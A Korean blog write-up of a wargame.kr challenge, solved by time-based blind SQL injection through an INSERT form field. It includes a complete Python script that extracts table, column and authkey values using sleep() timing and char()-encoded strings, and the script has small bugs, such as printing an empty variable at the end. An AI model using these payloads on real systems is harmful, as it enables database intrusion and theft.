[HOME]



[JS practice]



[JS Example]



[to JSMaster]



Time based SQL Injection 이라는 말과 insert Query라는 힌트가 주어져 있습니다.


문제를 시작해보면 4가지의 페이지가 나와있고 각각의 기능이 다릅니다.

injection pointer를 먼저 찾아야 하는데 insert Query라는 힌트를 생각해보면 마지막인 [to JSMaster] 부분이라고 생각됩니다.


[to JSMater]에서는 메시지를 보내는 폼이 존재하고 send 버튼을 눌러보면 "send success"라는 alert창이 뜨게 됩니다.



값이 어떻게 보내지는지 확인하기 위해서 burp suite를 이용해 중간에 캡쳐를 해봅니다.

POST방식으로 cont, mail, type 3가지의 변수가 서버로 전송되는 것을 알 수 있습니다.


여기서 짐작해볼 수 있는 내용은 3가지 변수가 insert 문에 들어간다는 것입니다.

INSERT INTO 테이블명 VALUES($cont, $mail, $type);

이런 식으로 Query가 수행될 것이며 여기가 injection pointer라는 것을 의심해볼 수 있습니다.



insert문에서 SQL Injection을 수행해야 되고, time based로 문제를 해결해야 합니다.


INSERT INTO 테이블명 VALUES($value1, $value2);

insert문 안에서 서브쿼리를 사용할 수 있다는 것을 알아야 합니다.

예를 들어 INSERT INTO 테이블명 VALUES($value1, (select 1)); $value2 대신에 "select 1"을 사용하면 1이라는 값이 입력이 됩니다.


그렇다면 어떻게 Time based를 이용할 수 있을까요?

Time based를 할 때는 보통 조건문(if, case when)을 같이 사용하게 됩니다.

if를 이용해보면 INSERT INTO 테이블명 VALUES($value1, (if(1=1,sleep(2),1))); 

다음처럼 1=1이라는 조건이 참이기 때문에 sleep(2)가 실행되어 2초간 응답을 기다리게 됩니다.


이것을 통해 테이블명/칼럼명/데이터값을 차례대로 알아낼 수 있습니다.

type부분에 조건문을 만들어 전송하면 2초의 시간이 흐른 후 응답이 오는 것을 확인할 수 있습니다.



Python3 코드를 이용해서 문제를 해결했습니다.

싱글쿼터를 필터링 하기 때문에 concat(),char()를 사용했고, TABLE이름을 구하고 COLUMN을 구할 때 변환하여 사용했습니다.

count값은 여러 개의 값이 존재할지 몰라 사용하는 것입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import requests
import time
 
def request_len(query, count=-1):
    for i in range(0,100):
        if(count==-1): payload = query.format(i)
        else: payload = query.format(count,i)
        data = {'cont':'','mail':'','type': payload}
        print (payload)
 
        start=time.time()       
        res = requests.post(url, cookies=cookies, data=data)
        end=time.time()
        if(end-start>2):
            print("[*] LENGTH: "+str(i))
            return i       
    return -1
        
 
def request_value(query, value_len, count=-1):
    value=''
    for i in range(1, value_len+1):
        for j in index_list:
            if(count==-1): payload = query.format(i,j)
            else: payload = query.format(count,i,j)
            data = {'cont':'','mail':'','type': payload}
            print (payload)
 
            start=time.time()       
            res = requests.post(url, cookies=cookies, data=data)
            end=time.time()
            if(end-start>2):
                value += chr(j)
                break
    print("[*] VALUE: "+value)
    return value
 
        
if __name__=='__main__':
    cookies= {'ci_session':'YourSessionValue'}
    url = 'http://wargame.kr:8080/qna/?page=to_jsmaster'
    index_list = list(range(48,58))+[95]+list(range(97,123))
 
    ######################### TABLE ##############################
 
    query="(if(length((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1))={0},sleep(2),1))"
    table_len=request_len(query)
    if( table_len == -1):
        exit("table_len code Error")
 
    print(table_len)
    query="(if(ascii(substr((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1),{0},1))={1},sleep(2),1))"
    table_name=request_value(query, table_len)
    if( table_name == '' ):
        exit("table_name code Error")
    
 
    ######################### COLUMN ##############################
 
    query="(if(length((select count(column_name) from information_schema.columns where table_name=concat(char(97),char(117),char(116),char(104),char(107),char(101),char(121))))={0},sleep(2),1))"
    column_count=request_len(query)
    if( column_count == -1):
        exit("column_count code Error")
 
    column=[]
    for count in range(0, column_count):
        query="(if(length((select column_name from information_schema.columns where table_name=concat(char(97),char(117),char(116),char(104),char(107),char(101),char(121)) limit {0},1))={1},sleep(2),1))"
        column_len=request_len(query, count)
        if( column_len == -1):
            exit("column_len code Error")
 
        query="(if(ascii(substr((select column_name from information_schema.columns where table_name=concat(char(97),char(117),char(116),char(104),char(107),char(101),char(121)) limit {0},1),{1},1))={2},sleep(2),1))"
        column_name=request_value(query, column_len, count)
        if( column_name == '' ):
            exit("column_name code Error")
 
        column.append(column_name)
    print("COLUMN: "+str(column))
 
    
    ######################### AUTHKEY_VALUE ##############################
 
    AUTHKEY=''
    query="(if(length((select authkey from authkey limit 0,1))={0},sleep(2),1))"
    AUTHKEY_len=request_len(query)
    if( AUTHKEY_len == -1):
        exit("AUTHKEY_len code Error")
 
    query="(if(ascii(substr((select authkey from authkey limit 0,1),{0},1))={1},sleep(2),1))"
    AUTHKEY_value=request_value(query, AUTHKEY_len)
    if( AUTHKEY_value == '' ):
        exit("AUTHKEY_value code Error")
 
    print("[*] AUTHKEY: "+AUTHKEY)
 
cs




[참고]


SQL Injection in INSERT Query:

http://amolnaik4.blogspot.com/2012/02/sql-injection-in-insert-query.html

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] lonely guys  (0) 2018.11.10
[WarGame] ip log table  (0) 2018.11.08
[WarGame] WTF_CODE  (0) 2018.11.05
[WarGame] php? c?  (0) 2018.11.02
[WarGame] tmitter  (0) 2018.11.01

+ Recent posts